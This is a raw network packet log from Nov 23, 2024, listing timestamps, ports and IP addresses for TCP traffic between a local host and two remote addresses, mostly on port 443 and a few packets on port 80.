Nov 23, 2024 19:52:20.633538008 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.634565115 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.634586096 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.634634018 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.634655952 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.634675980 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.636276007 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.636295080 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.636404037 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.636415958 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.636455059 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.636480093 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.644865036 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.644949913 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.644961119 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.645539045 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.657636881 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.657653093 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.657747984 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.657767057 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.657854080 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.665550947 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.665571928 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.665612936 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.665621042 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.665661097 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.665676117 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.667169094 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.667238951 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.667246103 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.669548988 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.680182934 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.680200100 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.680279970 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.680299997 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.680316925 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.680804014 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.680823088 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.680871010 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.680879116 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.680895090 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.680911064 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.680931091 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.687799931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:20.689568043 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.689647913 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.689656019 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.689874887 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.691402912 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.691432953 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.691478968 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.691483974 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.691514969 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.691536903 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.698951960 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.698970079 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.699347973 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.699348927 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.699425936 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.706425905 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.706446886 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.706523895 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.706532001 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.706605911 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.715631962 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.715651989 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.715728998 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.715739965 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.715799093 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.743331909 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.798265934 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.798321962 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.798342943 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.798356056 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.798405886 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.814363003 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.814380884 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.814440012 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.814448118 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.814513922 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.817385912 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.817464113 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.817473888 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.817524910 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.826313972 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.826333046 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.826426029 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.826435089 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.826508999 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.828146935 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.828164101 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.828238964 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.828246117 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.828288078 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.834897041 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.834964037 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.834974051 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.835377932 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.837013960 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.837059975 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.837088108 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.837099075 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.837136984 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.837157011 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.842082977 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.842099905 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.842170000 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.842185974 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.842238903 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.847476959 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.847553015 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.847558975 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.847573042 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.847626925 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.853517056 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.853537083 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.853593111 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.853601933 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.853631020 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.853640079 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.854857922 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.854873896 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.854931116 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.854937077 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.854983091 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.856934071 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.857001066 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.857008934 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.857069016 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.866688967 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.866705894 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.866758108 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.866765022 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.866822958 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.866825104 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.866825104 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.866844893 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.866897106 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.866904974 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.867084026 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.867639065 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.867665052 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.867731094 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.867738008 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.867764950 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.867784977 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.872775078 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.872843981 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.872853041 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.872906923 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.883193970 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.883209944 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.883265018 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.883282900 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.883336067 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.883985043 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.884001970 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.884074926 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.884083033 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.884164095 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.888778925 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.888848066 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.888854980 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.888935089 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.899233103 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.899250984 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.899311066 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.899321079 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.899699926 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.902228117 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.902245045 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.902312040 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.902321100 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.902369976 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.909931898 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.910001040 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.910008907 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.910058975 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.925909996 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.925983906 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.925993919 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.926155090 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.941803932 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.941885948 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.941895962 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.941940069 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.991211891 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.991231918 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.991298914 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.991311073 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.991400957 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.002732038 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.002747059 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.002810001 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.002818108 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.002862930 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.016663074 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.016679049 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.016742945 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.016752005 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.016808033 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.020023108 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:21.020133972 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:21.021276951 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:21.021784067 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.021805048 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.021850109 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.021861076 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.021892071 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.021908998 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.022334099 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.022351027 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.022401094 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.022423029 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.022443056 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.022496939 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.030410051 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.030427933 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.030488014 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.030495882 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.030808926 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.036565065 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.036581993 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.036636114 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.036643982 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.036678076 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.036688089 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.039916039 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.039932966 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.040004015 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.040013075 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.040097952 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.044222116 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.044241905 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.044300079 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.044312000 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.044334888 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.044363976 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.052747965 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.052768946 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.052831888 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.052846909 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.052901983 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.057060003 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.057079077 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.057145119 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.057154894 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.057209969 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.059111118 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.059130907 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.059254885 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.059263945 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.059326887 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.096436977 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.096479893 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.096501112 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.096519947 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.096537113 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.096549034 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.096582890 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.096590996 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.096609116 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.096641064 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.161912918 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.161931038 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.162009001 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.162024975 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.162100077 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.171353102 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.171381950 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.171431065 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.171451092 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.171463966 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.171515942 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.173127890 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.173150063 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.173206091 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.173217058 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.173244953 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.173270941 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.173893929 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.173903942 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.173979998 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.173989058 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.174084902 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.175688028 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.175708055 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.175770998 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.175785065 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.175844908 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.192466021 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.192544937 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.192553997 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.192610979 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.202723026 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.202743053 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.202802896 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.202812910 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.203094006 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.205336094 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:21.207010031 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.207046986 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.207113981 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.207129002 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.207210064 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.208729982 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.208810091 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.208817005 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.208867073 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.213583946 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.213601112 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.213748932 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.213758945 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.213851929 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.215424061 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.215449095 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.215493917 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.215502024 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.215529919 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.215550900 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.218453884 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.218470097 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.218522072 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.218538046 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.218558073 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.218692064 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.226082087 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.226099014 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.226161003 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.226167917 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.226233006 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.227461100 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.227479935 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.227535009 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.227543116 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.227571011 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.227587938 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.228780985 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.228796959 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.228878021 CET	49731	443	192.168.2.6	150.171.27.10
